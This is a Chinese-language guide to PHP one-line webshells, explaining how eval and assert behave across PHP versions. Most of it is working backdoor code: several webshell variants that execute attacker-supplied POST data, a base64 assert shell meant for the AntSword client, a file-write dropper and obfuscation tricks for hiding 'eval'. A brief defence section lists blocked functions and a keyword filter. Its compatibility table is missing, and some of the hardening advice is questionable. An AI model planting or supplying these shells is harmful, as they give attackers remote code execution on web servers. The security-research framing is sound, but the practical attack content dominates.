PHP一句话木马技术解析与实战指南

前言：一句话木马的基本概念

一句话木马（One-Line WebShell）是一种极其精简的Web后门程序，通常由一行或几行代码组成，能够接收攻击者发送的指令并在服务器上执行。本文档将深入分析PHP环境下的一句话木马技术，特别是关于eval和assert函数的使用限制与变通方法。

核心问题分析

原始代码示例

<?php
$a = "eval";
$a(@$_POST['a']);
?>

问题表现

• 在PHP5环境中报错：Fatal error: Call to undefined function eval()
• 在PHP7环境中报错：Fatal error: Uncaught Error: Call to undefined function eval()

技术原理深度解析

1. eval的语言构造器特性

eval是PHP的语言构造器（language construct），而非普通函数。根据PHP官方文档：

可变函数不能用于例如 echo，print，unset()，isset()，empty()，include，require 以及类似的语言结构。

eval属于这类语言构造器，因此不能通过可变函数方式调用。

2. 可变函数机制

PHP可变函数是指：

• 如果一个变量名后有圆括号，PHP将寻找与变量的值同名的函数
• 尝试执行该函数
• 例如：$func = 'system'; $func('whoami'); 可以正常执行

但此机制不适用于语言构造器。

3. assert函数的历史演变

PHP5环境：

• assert作为函数存在
• 可通过可变函数调用
• 示例代码可正常工作：

$a = "assert";
$a(@$_POST['a']);

PHP7.0：

• assert变为语言构造器
• 但仍可通过可变函数调用

PHP7.1+：

• 报错：Warning: Cannot call assert() with string argument dynamically
• 默认不再可以执行代码

实战解决方案

1. 直接使用eval（非可变函数形式）

<?php
eval(@$_POST['a']);
?>

• 优点：所有PHP版本通用
• 缺点：过于明显，容易被检测

2. 使用create_function（PHP7.2前有效）

<?php
$f = create_function('', @$_POST['a']);
$f();
?>

3. 使用array_map+assert组合（特定版本）

<?php
array_map("assert", array(@$_POST['a']));
?>

4. 文件操作函数替代方案

<?php
file_put_contents('shell.php', @$_POST['a']);
?>

蚁剑连接技巧

对于仍支持assert的环境（如PHP7.0）：

1. 使用base64编码payload
2. 示例代码：

<?php
assert(base64_decode(@$_POST['a']));
?>

版本兼容性总结

注：√表示可变函数形式可用，×表示不可用

防御建议

1. 禁用危险函数：

disable_functions = eval,assert,create_function,array_map

2. 严格过滤输入：

if(preg_match('/eval|assert|create_function/i', $_POST['a'])){
    die('Hacking attempt detected!');
}

3. 保持PHP版本更新（PHP7.1+对assert的限制增强了安全性）

扩展知识

1. 其他可用作后门的PHP函数：

   • preg_replace的/e修饰符（PHP5.5前）
   • call_user_func
   • forward_static_call

2. 混淆技术：

<?php
$f = 'e'.'v'.'a'.'l';
$f = str_rot13('riny');
$f = base64_decode('ZXZhbA==');
?>

参考资源

1. PHP可变函数官方文档
2. assert函数变更记录
3. PHP5与PHP7的安全变化

总结

本文详细分析了PHP一句话木马的技术原理，特别是eval和assert在不同PHP版本中的行为差异。理解这些底层机制对于安全研究人员（分析攻击手法）和开发人员（构建防御措施）都至关重要。随着PHP版本的更新，传统的WebShell技术逐渐失效，但攻击者也在不断寻找新的利用方式，安全防护需要持续跟进。